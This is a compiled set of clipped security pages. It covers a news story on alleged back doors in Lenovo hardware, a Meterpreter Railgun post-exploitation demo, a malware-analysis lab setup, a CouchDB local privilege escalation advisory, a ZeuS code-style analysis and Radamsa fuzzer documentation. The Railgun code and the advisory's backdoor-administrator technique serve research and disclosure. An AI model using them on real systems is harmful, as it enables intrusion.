provide hardware to some of these agencies, AFR’s report suggests there’s more
to the situation**.**

According to the paper, intelligence sources confirmed the ban was instituted
in the mid-2000s “after intensive laboratory testing of its equipment
allegedly documented “back-door” hardware and “firmware” vulnerabilities in
Lenovo chips**.** ”

Details on the discoveries remain classified, but the vulnerabilities
allegedly could provide remote access to intruders**.**

Also of concern is the extent of Lenovo’s ties with the government**.**
China’s Academy of Sciences has a substantial stake in Legend Holdings ,
Lenovo’s largest shareholder**.**

Lenovo didn’t immediately respond when contacted by The Next Web, but the
company did tell AFR that it did not know of the spy agency ban**.**

Part of the deep-rooted suspicion of Chinese hardware may come from Western
governments’ own interest in creating back doors in their own hardware**.**
For instance, security expert Professor Farinaz ­Koushanfar told AFR that she
had “personally met with people inside the NSA who have told me that they’ve
been working on numerous real-world cases of malicious implants for years**.**
” France was also believed to be working on kill switches for its military
equipment**.**

Given that most of this is locked up as classified, we probably won’t ever
find out what’s really going on here**.** Still, given the recent revelations
of the deep surveillance structures created by the likes of the NSA, it’s hard
not to look at all our technology with a bit of mistrust**.**

**See also:** Here’s the letter Apple, Google, Microsoft and others sent to
the US government over data requests  and UK’s Intelligence and Security
Committee says GCHQ is accessing the NSA’s PRISM programme legally

_Image credit:Philippe Lopez / Getty Images_

### Discover and promote exclusive online offers****

NEW by TNW Market

****

# \[framework\] Presenting Meterpreter extension: RAILGUN

**Created:**| _7/12/2010 3:31:25 PM_  
---|---  
**Updated:**| _7/12/2010 3:31:25 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

[code]

    Railgun is an extension for Meterpreter Ruby.
    It allows you to use the complete Windows API on the meterpreter-controlled
    system.
    You can call any function of any DLL you may find or upload to the target
    system.
    
    See it in action:
    
    
    #######################################
    >>_irb_[*] Starting IRB shell
    [*] The 'client' variable holds the meterpreter client
    
    >>_client.core.use( "railgun")
    _=> true
    
    >>_client.railgun.kernel32.CreateFileA ( "test.txt", "GENERIC_READ",
    _"FILE_SHARE_READ", nil, "OPEN_EXISTING", 0, 0)
    => {"GetLastError"=>0,  "return"=>448}
    
    >>_client.railgun.kernel32.ReadFile(448,10,10,4,nil)_ => {"GetLastError"=>0,  "return"=>true,  "lpBuffer"=>"blahblahbl",
    "lpNumberOfBytesRead"=>10}
    
    >>_client.railgun.kernel32.CloseHandle(448)_ => {"GetLastError"=>0,  "return"=>true}
    #######################################
    
    
    
    Railgun knows > 1000 functions and you can easily define new ones. For
    example:
    
    client.railgun.add_dll('user32','user32.dll')
    
    client.railgun.add_function( 'user32', 'MessageBoxA', 'DWORD',[
            ["DWORD","hWnd","in"],
            ["PCHAR","lpText","in"],
            ["PCHAR","lpCaption","in"],
            ["DWORD","uType","in"],
            ])
    
    >>_client.railgun.user32.MessageBoxA(0, "Hello","world","MB_OK")
    _((((((and after you click OK on the target system)))))
    => {"GetLastError"=>0, "return"=>1}
    
    
    
    What is the purpose of railgun?
    -------------------------------------
    -  We all love writing meterpreter ruby scripts. Just look at
    darkoperator.com. Now we can get even more creative. It's easy. 
    For example just add the line:
    ###
    client.railgun.kernel32.SetThreadExecutionState("ES_CONTINUOUS |
    ES_SYSTEM_REQUIRED")
    ###
    and the target system will not go into sleep mode during your presentation
    ;-)
    
    
    - Do really complex stuff on specific targets
    
    
    - Rapid prototyping of future extensions
    
    
    
    Where can you download it?
    
[/code]

# Setup

**Created:**| _9/4/2017 9:34:03 AM_  
---|---  
**Updated:**| _9/4/2017 9:34:03 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Malware Unicorn

twitter: @malwareunicorn  
Company: Endgame, Inc.  
<img src='img/Temp2_7457.png' width='270' height='264' alt='MU' />

View My GitHub Profile

Go Back to Reverse Engineering Malware 102

# Section 1: Setup

## Environment Setup

If you haven’t already, please take the RE101 course. The environment setup is
the same. Please refer to this page Section 1: Fundamentals

* * *
## Download the Unknown Malware

**HERE**

Password is “infected”

Sha1 for zip file

[code]

    f77f58812d5883775e59dfe952239d7dddfbd332
    
[/code]

Sha256 Malware inside

[code]

    8be8abab0f3ebcc18e7b8b3c437feb073fa7b9b30e8b1eef81451f0938b2a52a
    
[/code]

* * *
# WARNING - DO NOT UNZIP OR RUN THIS OUTSIDE OF A NETWORK ISOLATED VM

  1. Run the Victim VM and copy over the malware.zip into the VM.
  2. Unzip **Warning - DO NOT UNZIP THIS OUTSIDE OF THE VM**

Intro <\- Back | Next -> Information Gathering  
---|---  
Hosted on GitHub Pages — Theme by orderedlist

  

# tools db crap

**Created:**| _12/31/2009 1:37:03 PM_  
---|---  
**Updated:**| _12/31/2009 1:37:23 PM_  
**Author:**| __  
**Tags:**| _report List_  
  
<img src='img/Temp2_10674' />

# PyHiew: Transferring names between IDA Pro and Hiew | Elias Bachaalany's Blog
**Created:**| _10/14/2010 7:33:48 AM_  
---|---  
**Updated:**| _10/14/2010 7:34:04 AM_  
**Author:**| __  
**Tags:**| _python iDA reversing awesome_  
  

# PyHiew: Transferring names between IDA Pro and Hiew

Posted on October 13, 2010 by 0xeb

Last week I updated PyHiew to version 0.2.0 which adds the ability to manage
names in Hiew \(add local/global names and comments\).

In this blog post I demonstrate how to use these facilities to transfer names
between IDA Pro and Hiew.

Here’s a summary of the script logic:

  * A PyHiew script will act as a server
  * It will display an information dialog and setups up a server socket then wait for connections
  * An IDA Pro python script will act as a client to send the names from IDA to Hiew
  * Hiew receives and populates the names

### Using the script

Load the IDA client script \(pyhiew\**3rd\IDA-Names-Client.py**\) from the
PyHiew package

<img src='img/Temp2_6515.gif' width='319' height='112' alt='names-sel-script'
/>

A message box will show, do not close it until you proceed with Hiew

<img src='img/Temp2_6513.gif' width='343' height='148' alt='names-ida-wait' />

Now run Hiew and open the desired file and press **F11** to toggle the HEM
modules.  
Select PyHiew and then the **IDA-Names-Server script  
** The script will display a message window like this:

<img src='img/Temp2_6514.gif' width='592' height='189' alt='names-wait' />

Depending on what you want to transfer you may press one of the function keys.

After selecting an option, Hiew will display a wait box. Now switch back to
IDA and press OK to connect to Hiew and start the name transfer.

If the operation succeeds then the name count will be displayed:

<img src='img/Temp2_6516.gif' width='615' height='128' alt='names-after-copy'
/>

In Hiew \(Hex/Asm view\) you may press **F12** to display the name window:

<img src='img/Temp2_6512.gif' width='580' height='257' alt='names-transferred'
/>

That’s it\! This script ships with PyHiew 0.2.1

* * *
**Possibly related posts: \(automatically generated\)**

# Apache CouchDB 2.0.0 - Local Privilege Escalation

**Created:**| _12/21/2016 9:18:32 AM_  
---|---  
**Updated:**| _12/21/2016 9:18:32 AM_  
**Author:**| __  
**Tags:**| _vulnerability LOLZ_  
  

  

`[+] Credits: John Page aka hyp3rlinx` `[+] Website: hyp3rlinx.altervista.org` `[+] Source: http://hyp3rlinx.altervista.org/advisories/APACHE-COUCHDB-LOCAL-PRIVILEGE-ESCALATION.txt` `[+] ISR: ApparitionSec` `Vendor:``==================``couchdb.apache.org` `Product:``==============``CouchDB v2.0.0` `Apache CouchDB is open source database software that focuses on ease of use``and having an architecture. It has a document-oriented``NoSQL database architecture and is implemented in the concurrency-oriented``language Erlang; it uses JSON to store data, JavaScript``as its query language using MapReduce, and HTTP for an API.` `Vulnerability Type:``===================``Privilege Escalation (Insecure File Permissions)` `CVE Reference:``==============``N/A` `Vulnerability Details:``=====================` `CouchDB sets weak file permissions potentially allowing 'Standard' Windows``users to elevate privileges. The "nssm.exe" (Apache CouchDB)``executable can be replaced by a 'Standard' non administrator user, allowing``them to add a backdoor Administrator account once the``"Apache CouchDB" service is restarted or system rebooted.` `As Apache CouchDB runs as LOCALSYSTEM, standard users can now execute``arbitrary code with the privileges of the SYSTEM.` `Issue is the 'C' flag (Change) for 'Authenticated Users' group.` `e.g.` `c:\CouchDB>cacls * | findstr Users` ` ``BUILTIN\Users:(OI)(CI)(ID)R`` ``NT AUTHORITY\Authenticated Users:(ID)C`` ``NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C`` ``BUILTIN\Users:(OI)(CI)(ID)R`` ``NT AUTHORITY\Authenticated Users:(ID)C`` ``NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C`` ``BUILTIN\Users:(OI)(CI)(ID)R`` ``NT AUTHORITY\Authenticated Users:(ID)C`` ``NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C` `c:\CouchDB>sc qc "Apache CouchDB"``[SC] QueryServiceConfig SUCCESS` `SERVICE_NAME: Apache CouchDB`` ``TYPE : 10 WIN32_OWN_PROCESS`` ``START_TYPE : 3 DEMAND_START`` ``ERROR_CONTROL : 1 NORMAL`` ``BINARY_PATH_NAME : C:\CouchDB\bin\nssm.exe`` ``LOAD_ORDER_GROUP :`` ``TAG : 0`` ``DISPLAY_NAME : Apache CouchDB`` ``DEPENDENCIES :`` ``SERVICE_START_NAME : LocalSystem` `Exploitation Technique:``=======================``Local` `Severity Level:``================``Medium` `[+] Disclaimer``The information contained within this advisory is supplied "as-is" with no``warranties or guarantees of fitness of use or otherwise.``Permission is hereby granted for the redistribution of this advisory,``provided that it is not altered except by reformatting it, and``that due credit is given. Permission is explicitly given for insertion in``vulnerability databases and similar, provided that due credit``is given to the author. The author is not responsible for any misuse of the``information contained herein and accepts no responsibility``for any damage caused by the use or misuse of this information. The author``prohibits any malicious use of security related information``or exploits by the author or elsewhere.` `hyp3rlinx`  
---  
  

# The Shape of Code » Fingerprinting the author of the ZeuS Botnet

**Created:**| _5/15/2011 7:40:06 PM_  
---|---  
**Updated:**| _5/15/2011 7:40:06 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Fingerprinting programming_  
  

## Fingerprinting the author of the ZeuS Botnet

May 11th, 2011 Derek-Jones Leave a comment Go to comments

The source code of the ZeuS Botnet is now available for download. I imagine
there are a few organizations who would like to talk to the author\(s\) of
this code.

All developers have coding habits, that is they usually have a particular way
of writing each coding construct. Different developers have different sets of
habits and sometimes individual developers have a way of writing some language
construct that is rarely used by other developers. Are developer habits
sufficiently unique that they can be used to identify individuals from their
code? I don’t have enough data to answer that question. Reading through the
C++ source of ZeuS I spotted a few unusual usage patterns \(I don’t know
enough about common usage patterns in PHP to say much about this source\)
which readers might like to look for in code they encounter, perhaps putting
name to the author of this code.

The source is written in C++ \(32.5 KLOC of client source\) and PHP \(7.5KLOC
of server source\) and is of high quality \(the C++ code could do with more
comments, say to the level given in the PHP code\), many companies could
increase the quality of their code by following the coding standard that this
author seems to be following. The source is well laid out and there are plenty
of meaningful variable names.

So what can we tell about the person\(s\) who wrote this code?

  * There is one author; this is based on consistent usage patterns and nothing jumping out at me as being sufficiently different that it could be written by somebody else,
  * The author is fluent in English; based on the fact that I did not spot any identifiers spelled using unusual word combinations that often occur when a developer has a poor grasp of English,
  * The usage that jumped out at me the most is: 
[code]    for(;; p++)if(*p == '\\' || *p == '/' || *p == 0)

      {
    ...
[/code]

This is taking to an extreme the idea that if a ‘control header’ has a single
statement associated with it, then they both appear on the same line; this
usage commonly occurs with _if-statements_ and this _for/while-statement_
usage is very rare \(this usage also occurs in the PHP code\),

  * The usage of `true`/`false` in conditionals is similar to that of newbie developers, for instance writing: 
[code]    return CWA(kernel32, RemoveDirectoryW)(path) == FALSE ? false :
true;

    // and
    return CWA(shlwapi, PathCombineW)(dest, dir, p) == NULL ? false : true;
    // also
    return CWA(kernel32, DeleteFileW)(file) ? true : false;
[/code]

in a function returning `bool` instead of:

[code]     return CWA(kernel32, RemoveDirectoryW)(path);

    //and
    return CWA(shlwapi, PathCombineW)(dest, dir, p) != NULL
    // and
    return CWA(kernel32, DeleteFileW)(file);
[/code]

The author is not a newbie developer, perhaps sometime in the past they were
badly bitten by a Microsoft C++ compiler bug, found that this usage worked
around the problem and have used it ever since,

  * The author vertically aligns the assignment operator in statement sequences but not in a sequence of definitions containing an initializer: 
[code]    // = not vertically aligned here

        DWORD itemMask = curItem->flags & ITEMF_IS_MASK;
        ITEM *cloneOfItem = curItem;
    // but is vertically aligned here:
        desiredAccess       |= GENERIC_WRITE;
        creationDisposition  = OPEN_ALWAYS;
[/code]

Vertical alignment is not common and I would have said that alignment was more
often seen in definitions than statements, the reverse of what is seen in this
code,

  * Non-terminating loops are created using `for(;;)` rather than the more commonly seen `while(TRUE)`, 
  * The author is happy to use `goto` to jump to the end of a function, not a rare habit but lots of developers have been taught that such usage is bad practice \(I would say it depends, but that discussion belongs in another post\),
  * Unnecessary casts often appear on negative constants \(unnecessary in the sense that the compiler is required to implicitly do the conversion\). This could be another instance of a previous Microsoft compiler bug causing a developer to adopt a coding habit to work around the problem.

Could the source have been processed by an code formatter to remove
fingerprint information? I think not. There are small inconsistencies in
layout here and there that suggest human error, also automatic layout tends to
have a ‘template’ look to it that this code does not have.

# Radamsa - ouspg - On fuzzing. - tools for the b\[ei\]tterment of mankind -
Google Project Hosting

**Created:**| _9/20/2011 2:29:14 PM_  
---|---  
**Updated:**| _9/20/2011 2:29:14 PM_  
**Author:**| __  
**Tags:**| _bookmark Fuzzer_  
  

# A Crash Course to Radamsa

> Radamsa is a test case generator for robustness testing, aka a fuzzer. It is
> an attempt to make purely black-box fuzz-testing more accessible, efficient
> and eventually more widely used. Given some sample files, Radamsa generates
> a cannonade of usually malformed data, which can be used to test how well a
> program or appliance can withstand erroneous and potentially malicious
> inputs. The main selling points of Radamsa are that it is easy to use,
> requires minimal setup to run, contains several fuzzing algorithms to
> maximize the creativity of test cases, is easy to script from command line
> and has already been used to find a slew of issues in real-world programs.
> Nutshell:
[code]

>      $ # please please please fuzz your programs. here is one way to get
> data for it:  
>     >  $ sudo apt-get install gcc curl  
>     >  $ curl https://ouspg.googlecode.com/files/radamsa-0.2.1.c.gz \  
>     >    | gzip -d | gcc -x c -O2 -o radamsa -  
>     >  $ cat file | ./radamsa > file.fuzzed
[/code]

# What the Fuzz

Typical computer programs are extremely complex beasts. In most programs
extremely small errors in the code, compiler, library or any other component
can lead to possibility of a malicious party exploiting the issue and gaining
undesired powers.

In order to make sure programs implement the features they ought to implement,
we can use various forms of positive testing. Many programs come with
extensive test suites of inputs and cases which should to cause some
particular result if handled correctly.

Additionally, programs have more and less obvious negative requirements, like
not crashing for any inputs, since in addition to being annoying that kind of
bugs often also turn out to have security impact. Unlike in positive testing
however, we usually don't know how or where the possible bad things might
manifest, only what shouldn't be the result.

Fuzzing is one of the usual approaches for testing the negative requirements.
In practice, a fuzzer is simply used to generate data which is fed into a
program, and some kind of test setup is used to detect if anything
sufficiently bad to be of interest happens. Once a bug is located, one usually
also has a simple way to reproduce it.

There are many kinds of fuzzers. One way to classify them is to map the amount
of data the fuzzer has about the target program, or appliance, and its
internals to a grayscale color. A theoretically black-box fuzzer doesn't know
anything and thus only generates data out of nothing. Typical black-box
fuzzers are given samples of what kind of data a program processes, but then
are assumed to go about generating interesting data without any feedback as to
what is processing the data or even how well the previous attempts have
worked. Gray-box fuzzers have some knowledge about the target and running of
the tests, and a white-box fuzzer often means one that is given the full spec
of data formats, program, the binary in question and/or runtime tracing data
possibly with control of the runtime behavior.

Intuitively black-box fuzzers are easy to use and general purpose, but don't
dig deep into the state space of a program, while white-box fuzzers are harder
to use and tailored for some particular task, and have what it needs to dig
deep into the intended functionality. The set of bugs found by the different
approaches are usually at least somewhat disjoint.

Other typical approaches to testing include static code analysis, where
preferably a program is used to automatically detect possible vulnerabilities
in code, and various forms of simulated program running which allow one to
step through the possible state space. The pros of fuzzing are that it is
often extremely simple to start testing a product, scaling is easy, one can
refine the data being tested later and each bug comes automatically paired
with a proof of concept piece of data that triggers the undesired condition.

All programs should be tested in as many ways as possible, and as early as
possible, but an important thing to keep in mind is that an opportunistic
hacker will most likely start by doing some brute force fuzzing broad fuzzing.
It doesn't help if your product has been extensively unit tested on the
function level, but there is a vulnerable third party library. Full-program
fuzzing is kind of unit testing done too late, but that doesn't mean it's a
bad idea.

# Radamsa

Radamsa is a somewhat new kind of black-box fuzzer. It is designed to be a
good general purpose tools for developers and vendors who want to test how
well their products can stand malicious inputs. The main goals are to make
such a tool that works well no matter what kind of data is thrown at it, it
can find bugs in interesting programs in practice, and not finding bugs with
it should imply that most other fuzzers won't find them either.

The problem of making a truly general purpose fuzzer poses some interesting
problems. The current approach is to use a lot of different kinds of mutations
that have turned out to find interesting bugs. Many of the mutations don't
assume anything about the structure of the data, some assume it might be
textual and do related old, novel and weird things to it, and some assume
frequent exact encodings or other structures and play with them.

The tool is a side product of OUSPG's Protos Genome Project, in which some
techniques to automatically analyze and examine the structure of communication
protocols were explored. A subset of one of the tools turned out to be a
surprisingly effective file fuzzer. Our first prototype black-box fuzzer tools
mainly used regular and context-free formal languages to represent the
inferred model of the data. Two derivatives of the early prototypes \(grafu
and permu\) are still used in Radamsa.

Thus, Radamsa is actually a flock of fuzzers, wrapped in an easy-to-use
package which we hope would be used by also others than us.

# Requirements

Operating System:

  * GNU/Linux 
  * OpenBSD \(and probably other BSDs\) 
  * Mac OS X 
  * Windows \(experimental\) 

Software requirements for building from sources:

  * gcc 
  * make 
  * git 

# Installation

Instructions for downloading and compiling the current version in a Debian-
based linux are at the top of this page. There should also be static binary
and a Windows-executable in the Downloads section. Installation means simply
compiling the binary somewhere in $PATH, like ~/bin or /usr/local/bin.

### Building Radamsa

[code]

     $ git clone http://haltp.org/git/radamsa.git  
     $ cd radamsa  
     $ make  
     $ sudo make install  
     $ radamsa --help
[/code]

### Building Legacy Radamsa 0.1.9

The 0.1 series of Radamsa used a different set of global analysis. While this
tool has been used to find dozens of interesting vulnerabilities in the past,
we recommend using the newer one which does similar mutations in sub-linear
space. The 0.1 series could take up to 100x the sample size of memory and
write less than 100Kb/s, while the newer versions work in roughly constant
space and generate data one or two orders of magnitude faster.

For small sets of small samples the old one might still be useful. To compile
it, use:

[code]

    $ wget http://ouspg.googlecode.com/files/radamsa-0.1.9.c.gz  
    $ gunzip radamsa-0.1.9.gz  
    $ gcc -O2 -o radamsa radamsa-0.1.6.c  
    $ ./radamsa --help
[/code]

# Fuzzing with Radamsa

This section assumes some familiarity with UNIX scripting.

Radamsa can be thought as the `cat` UNIX tool, though it manages to break the
data in often interesting ways as it flows through. It has also support for
generating more than one output at a time and acting as a TCP server or
client, in case such things are needed.

Use of Radamsa will be demonstrated by means of small examples. We will use
the `bc` arbitrary precision calculator as an example target program.

In the simplest case, from scripting point of view, Radamsa can be used to
fuzz data going through a pipe.

[code]

     $ echo "aaa" | radamsa  
     aaaa
[/code]

Here Radamsa decided to add one 'a' to the input. Let's try that again.

[code]

     $ echo "aaa" | radamsa  
     ːaaa
[/code]

Now we got another result. By default Radamsa will grab a random seed from
/dev/urandom if it is not given a specific random state to start from, and you
will generally see a different result every time it is started, though for
small inputs you might see the same or the original fairly often if none of
the mutations found anything interesting to do at that time. The random state
to use can be given with the `-s` parameter, which is followed by any string.
Using the same random state will result in the sama data being generated.

[code]

     $ echo "Fuzztron 2000" | radamsa --seed randomstate  
     Fuzztron 2147483648
[/code]

This particular example was chosen because Radamsa happens to choose to use a
number mutator, which replaces textual numbers with something else.
Programmers might recognize why for example this particular number might be an
interesting one to test for.

You can generate more than one output by using the `-n` parameter as follows:

[code]

     $ echo "((S K K) (S K K))" | radamsa --seed h -n 5  
     ((S K K) (S K K))  
     (S K K)  
     ((S K K) (S K K))  
     ((S K K) (S K K) (S K K))  
     ((S K K) (S K K))
[/code]

Each set of command line arguments and samples, when the seed is given, define
some infinite stream of outputs. By default the first output from this stream
is written. You can search the stream by using `--seek`, which drops as many
as requested outputs and starts runnign. By default the offset is 0.

[code]

     $ echo "((S K K) (S K K))" | radamsa --seed h -n 5 --seek 1  
     (S K K)  
     ((S K K) (S K K))  
     ((S K K) (S K K) (S K K))  
     ((S K K) (S K K))  
     ((S K K) (S K K))
[/code]

There is no quarantee that all of the outputs will be unique. In practice,
when using nontrivial samples, equal outputs tend to be extremely rare.

What we have so far can be used to for example test programs that read input
from standard input, as in

[code]

     $ echo "100 * (1 + (2 / 3))" | radamsa -n 10000 | bc -  
     [...]  
     (standard_in) 1418: illegal character: ^_  
     (standard_in) 1422: syntax error  
     (standard_in) 1424: syntax error  
     (standard_in) 1424: memory exhausted  
     [hang]
[/code]

Or the compiler used to compile Radamsa:

[code]

     $ echo '((lambda (x) (+ x 1)) #x124214214)' | radamsa -n 10000 | ol  
     [...]  
     > What is 'ó µ'?   
     4901126677  
     > $
[/code]

Or to test decompression:

[code]

     $ gzip -c /bin/bash | radamsa -n 1000 | gzip -d > /dev/null
[/code]

Typically however one might want separate runs for the program for each
output. Basic shell scripting makes this easy. Usually we want a test script
to run continuously, so we'll use an infinite loop here:

[code]

     $ gzip -c /bin/bash > sample.gz  
     $ while true; do radamsa sample.gz | gzip -d > /dev/null; done
[/code]

Notice that we are here giving the sample as a file instead of running Radamsa
in a pipe. Like `cat` Radamsa will by default write the output to stdout, but
unlike `cat` when given more than one file it will usually use only one or a
few of them to create one output. This test will go about throwing fuzzed data
against gzip, but doesn't care what happens then. One simple way to find out
if something bad happened to a \(simple single-threaded\) program is to check
whether the exit value is greater than 127, which would indicate a fatal
program termination. This can be done for example as follows:

[code]

     $ gzip -c /bin/bash > sample.gz  
     $ while true  
     do  
       radamsa sample.gz > fuzzed.gz  
       gzip -dc fuzzed.gz > /dev/null  
       test $? -gt 127 && break  
     done
[/code]

This will run for as long as it takes to crash gzip, which hopefully is no
longer even possible, and the fuzzed.gz can be used to check the issue if the
script has stopped. We have found a few such cases, the last one of which took
about 3 months to find, but all of them have as usual been filed as bugs and
have been promptly fixed by the upstream.

One thing to note is that since most of the outputs are based on data in the
given samples \(standard input or files given at command line\) it is usually
a good idea to try to find good samples, and preferably more than one of them.
In a more real-world test script Radamsa will usually be used to generate more
than one output at a time based on tens or thousands of samples, and the
consequences of the outputs are tested mostly in parallel, often by giving
each of the output on command line to the target program. We'll make a simple
such script for `bc`, which accepts files from command line. The `-o` flag can
be used to give a file name to which Radamsa should write the output instead
of standard output. If more than one output is generated, the path should have
a `%n` in it, which will be expanded to the number of the output.

[code]

     $ echo "1 + 2" > sample-1  
     $ echo "(124 % 7) ^ 1*2" > sample-2  
     $ echo "sqrt((1 + length(10^4)) * 5)" > sample-3  
     $ bc sample-* < /dev/null  
     3  
     10  
     5  
     $ while true  
     do  
       radamsa -o fuzz-%n -n 100 sample-*  
       bc fuzz-* < /dev/null  
       test $? -gt 127 && break  
     done
[/code]

This will again run up to obviously interesting times indicated by the large
exit value, or up to the target program getting stuck.

In practice many programs fail in unique ways. Some common ways to catch
obvious errors are to check the exit value, enable fatal signal printing in
kernel and checking if something new turns up in `dmesg`, run a program under
`strace`, `gdb` or `valgrind` and see if something interesting is caught,
check if an error reporter process has been started after starting the
program, etc.

There are also some more options and flags you can use. For a complete
listing, use:

[code]

     $ radamsa --big-help
[/code]

# Related Tools

When planning tests, you might also want to have a look at the following free
tools:

A non-exhaustive list of alternative and complementary free tools:

  * Bunny the Fuzzer \(http://code.google.com/p/bunny-the-fuzzer/\) 
  * Peach \(http://peachfuzzer.com/\) 
  * Zzuf \(http://caca.zoy.org/wiki/zzuf\) 
  * Sulley \(http://code.google.com/p/sulley/\) 
  * Skipfish \(http://code.google.com/p/skipfish/\) 

A non-exhaustive list of free tools which you might find useful when using
Radamsa:

  * GDB \(http://www.gnu.org/software/gdb/\) 
  * Valgrind \(http://valgrind.org/\) 
  * strace \(http://sourceforge.net/projects/strace/\) 
  * tcpflow \(http://www.circlemud.org/~jelson/software/tcpflow/\) 

Security is just a reverse form of badness. To make your program secure, you
should allocate sufficient resources for the development, use sensible tools
and people to do it, and combine all possible ways to analyze and break at
least the shippable versions to make sure it can withstand malicious
conditions. Tools which are intended to improve security are usually
complementary and should be used in parallel to improve the results. Radamsa
aims to be a good first shotgun test to expose the easiest \(and often
severe\) cracks which can be found and possibly abused by getting the program
to just read malicious data.

# Known Results

A robustness testing tool is obviously only good only if it really can find
non-trivial issues in real-world programs. Being a University-based group, we
have tried to formulate some more scientific approaches to define what a 'good
fuzzer' is, but real users are more likely to be interested in whether a tool
has found something useful. We do not have anyone at OUSPG running tests or
even developing Radamsa full-time, but we obviously do make occasional test-
runs, both to assess the usefulness of the tool, and to help improve
robustness of the target programs. For the test-runs we try to select programs
that are mature, useful to us, widely used, preferably open source and/or tend
to process data from outside sources.

The list below has some CVE:s we know of that have been found by using
Radamsa. Some of the results are from our own test runs, and some have been
kindly provided by CERT-FI from their tests and other users. As usual, please
note that CVE:s should be read as 'product X is now more robust \(against Y\)'
instead of 'product X is broken'. In OUSPG:s non-official opinion all programs
have bugs, some just have less of them. A program without any public CVEs is
likely much more broken than one which has them to prove it is constantly
being fixed. Also, the severity of the issues behind a CVE can vary wildly.

  * CVE-2007-3641 \- c10 \(grafu or permu\) - OUSPG 
  * CVE-2007-3644 \- c10 \(grafu or permu\) - OUSPG 
  * CVE-2007-3645 \- c10 \(grafu or permu\) - OUSPG 
  * CVE-2008-1372 \- bzip2 \(grafu or permu\) - OUSPG 
  * CVE-2008-1387 \- c10 \(grafu or permu\) - OUSPG 
  * CVE-2008-1412 \- c10 \(grafu or permu\) - OUSPG 
  * CVE-2008-1837 \- c10 \(grafu or permu\) - OUSPG 
  * CVE-2008-6536 \- c10 \(grafu or permu\) - OUSPG 
  * CVE-2008-6903 \- c10 \(grafu or permu\) - OUSPG 
  * CVE-2010-0001 \- gzip - integer underflow in unlzw - OUSPG 
  * CVE-2010-0192 \- acroread - an unspecified issue - OUSPG 
  * CVE-2010-1205 \- libpng - memory corruption in many programs caused by unexpected libpng behavior - OUSPG 
  * CVE-2010-1410 \- webkit - trouble caused by nested use-elements in SVG - OUSPG 
  * CVE-2010-1415 \- webkit - API abuse between libxml and webkit leading to no good - OUSPG 
  * CVE-2010-1793 \- webkit - use after free in font-face- and use-elements of SVG - OUSPG 
  * CVE-2010-2065 \- libtiff - found by CERT-FI 
  * CVE-2010-2443 \- libtiff - found by CERT-FI 
  * CVE-2010-2597 \- libtiff - found by CERT-FI 
  * CVE-2010-2482 \- libtiff - found by CERT-FI 
  * CVE-2011-1276 \- Excel - buffer overflow - found by Nicolas Grégoire of Agarri
  * CVE-2011-2804 \- chrome/pdf - OUSPG 

We would like to thank the Chromium project for analyzing, fixing and
reporting further many of the issues we have sent via their bug tracker, CERT-
FI for feedback and disclosure handling, and other projects and vendors who
have responsibly taken care of uncovered bugs.

# Troubleshooting

Issues in Radamsa can be reported to the issue tracker. The tool is under
development, but we are glad to get error reports even for the known issues,
to make sure they are not forgotten.

You can also drop by at \#radamsa on Freenode if you have questions or
feedback.

Issues your programs should be fixed. If Radamsa finds them quickly \(say, in
an hour or a day\) chances are that others will too.

Issues in other programs written by others should be dealt with responsibly.
Even fairly simple errors can turn out to be exploitable, especially in
programs written in low-level languages. In case you find something severe are
unsure what to do with it, ask the vendor or project members, or your local
CERT.

# FAQ

**Q:** If I find a bug with Radamsa, do I have to mention it?  
**A:** No.

**Q:** Radamsa takes several GB of memory to compile\!  
**A:** Radamsa 0.1.9 should take below 2GB to compile. There seems to be a
regression in some GCC 4.5 versions causing tons of memory to be allocated
during compilation. Up/downgrade your compiler, use a newer Radamsa or grab a
precompiled binary from Downloads.

**Q:** Radamsa does not compile using the instructions in this page\!  
**A:** Most likely option is that your Owl is out of data. Try running `make
get-owl` to pull the current version and see if the problem goes away. If not,
feel free to file an issue or contact us via email or IRC \(info below\).

**Q:** Why does Radamsa take more memory than the size of the inputs?  
**A:** It doesn't, at least for nontrivial inputs. 0.1.9 did.

**Q:** I used fuzzer X and found much more bugs from program Y than Radamsa
did.  
**A:** If X is not heavily using domain-specific knowledge about Y, let us
know about it \(ouspg@ee.oulu.fi\) and we'll try to hack something X-ish to
Radamsa.

**Q:** Can I get support for using Radamsa?  
**A:** You can send email to us at ouspg@ee.oulu.fi and/or check if some of us
happen to be hanging around at \#radamsa on freenode.

**Q:** Can I use Radamsa on Windows?  
**A:** An experimental Windows executable is now in downloads, but we have
usually not tested it properly since we rarely use Windows internally. Feel
free to add issues if something is broken.

# Warnings

Use of data generated by Radamsa, especially when targeting buggy programs
running with high privileges, can result in arbitrarily bad things to happen.
Ideally nothing bad should happen, but we have seen reboots, system hangs,
file system curruption, loss of data and other nastiness. When in doubt, use a
disposable system, chroot, sandbox, separate user account or an emulator.

This product may contain faint traces of parenthesis.

# Assessing Unikernel Security

**Created:**| _5/10/2019 8:41:42 AM_  
---|---  
**Updated:**| _5/10/2019 8:41:42 AM_  
**Author:**| __  
**Tags:**| _Exploit micro service_  
  

  

# Assessing Unikernel Security

## Abstract

Unikernels are small, specialized, single-address-space machine images
constructed by treating component applications and drivers like libraries and
compiling them, along with a kernael and a thin OS layer, into a single binary
blob. Proponents of unikernels claim that their smaller codebase and lack of
excess services make them more efficient and secure than full-OS virtual
machines and containers. We surveyed two major unikernels, Rumprun and
IncludeOS, and found that this was decidedly not the case: unikernels, which
in many ways resemble embedded systems, appear to have a similarly minimal
level of security. Features like ASLR, W^X, stack canaries, heap integrity
checks and more are either completely absent or seriously flawed. If an
application running on such a system contains a memory corruption
vulnerability, it is often possible for attackers to gain code execution, even
in cases where the application’s source and binary are unknown. Furthermore,
because the application and the kernel run together as a single process, an
attacker who compromises a unikernel can immediately exploit functionality
that would require privilege escalation on a regular OS, e.g. arbitrary packet
I/O. We demonstrate such attacks on both Rumprun and IncludeOS unikernels, and
recommend measures to mitigate them.

**Download the Whitepaper**

**Published date:** 02 April 2019

<img src='img/social-twitter.gif' width='32' height='32' /> <img
src='img/social-facebook.gif' width='32' height='32' /> <img src='img/social-
gplus.gif' width='32' height='32' /> <img src='img/social-linkedin.gif'
width='32' height='32' />

# The evolution of Ronvix: Private TCP/IP stacks - Microsoft Malware
Protection Center - Site Home - TechNet Blogs

**Created:**| _7/28/2013 7:51:31 AM_  
---|---  
